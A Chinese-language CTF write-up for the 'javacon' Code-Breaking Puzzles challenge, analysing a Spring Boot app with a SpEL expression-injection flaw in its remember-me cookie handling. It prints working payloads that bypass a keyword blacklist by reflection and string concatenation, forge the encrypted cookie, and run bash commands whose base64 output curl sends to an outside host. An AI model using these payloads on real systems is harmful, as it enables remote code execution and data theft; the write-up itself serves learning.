Code-Breaking Puzzles - javacon WriteUp

栏目: Java · 发布时间: 7年前

内容简介:刷微博正好看到P神的活动,学习了。命令启动再点击IDEA右上角的DEBUG即可。

刷微博正好看到P神的活动,学习了。

简单记录下jar分析一般步骤:

源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。

如果需要调试,IDEA打断点后,配置Remote如下

Code-Breaking Puzzles - javacon WriteUp

命令启动

java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar
 

再点击IDEA右上角的DEBUG即可。

程序结构:

Code-Breaking Puzzles - javacon WriteUp

首先我们可以从SpringBoot的配置 application.yml看起

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1
 

主要就是一个黑名单,一个用户的提供。

其他文件 :

SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。

ChallengeApplication 用于启动

Encryptor 加密解密 工具

KeyworkProperties 使用黑名单时需要

UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController

Code-Breaking Puzzles - javacon WriteUp

我们从登录看起

@PostMapping({"/login"})
    public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
        if(this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
            session.setAttribute("username", username);
            if(isRemember != null && !isRemember.equals("")) {
                Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
                c.setMaxAge(2592000);
                response.addCookie(c);
            }
 
            return "redirect:/";
        } else {
            return "redirect:/login-error";
        }
    }
 

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。

最后跳转hello.html

<h2 th:text="'Hello, ' + ${session.username}"></h2>

Code-Breaking Puzzles - javacon WriteUp

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

@GetMapping
    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if(rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if(username != null) {
                session.setAttribute("username", username);
            }
        }
 
        Object username = session.getAttribute("username");
        if(username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }
 

程序判断rememberMeValue存在后,直接对其进行解密,然后将其 setAttribute ,接下来可以看到 this.getAdvanceValue(username.toString())
我们来看这个方法。

@ExceptionHandler({HttpClientErrorException.class})
    @ResponseStatus(HttpStatus.FORBIDDEN)
    public String handleForbiddenException() {
        return "forbidden";
    }
 
    private String getAdvanceValue(String val) {
        String[] var2 = this.keyworkProperties.getBlacklist();
        int var3 = var2.length;
 
        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if(matcher.find()) {
                throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
            }
        }
 
        ParserContext parserContext = new TemplateParserContext();
        Expression exp = this.parser.parseExpression(val, parserContext);
        SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }
 

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出 HttpStatus.FORBIDDEN ,如果没有匹配到则进行正常流程,在 SmallEvaluationContext 进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。

JAVA 中我们可以通过

Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
 

来执行命令,但在这个题目中使用了黑名单。

所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。

不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://fg5hme.ceye.io/1aa1k");
 

运行一下,可以看到我们成功接受到了请求。

Code-Breaking Puzzles - javacon WriteUp

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

需要注意的一个点,在JAVA中Runtime中exec对复杂一点的 linux 命令执行不了…我们需要将其参数改成如下才可以

new String[]{"/bin/bash\","-c","xxxxx"}
 

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl fg5hme.ceye.io/`cd / && ls|base64|tr '\\n' '-'`\"})}"));
 

获取目录

之后cat flag,如下,再上上面一样加密后存入cookie中即可。

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
 
Code-Breaking Puzzles - javacon WriteUp

Code-Breaking Puzzles - javacon WriteUp

Code-Breaking Puzzles - javacon WriteUp

最后,师傅们Tql,感谢p神的题目。

Code-Breaking Puzzles - javacon WriteUp


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Algorithms Unlocked

Algorithms Unlocked

Thomas H. Cormen / The MIT Press / 2013-3-1 / USD 25.00

Have you ever wondered how your GPS can find the fastest way to your destination, selecting one route from seemingly countless possibilities in mere seconds? How your credit card account number is pro......一起来看看 《Algorithms Unlocked》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

URL 编码/解码
URL 编码/解码

URL 编码/解码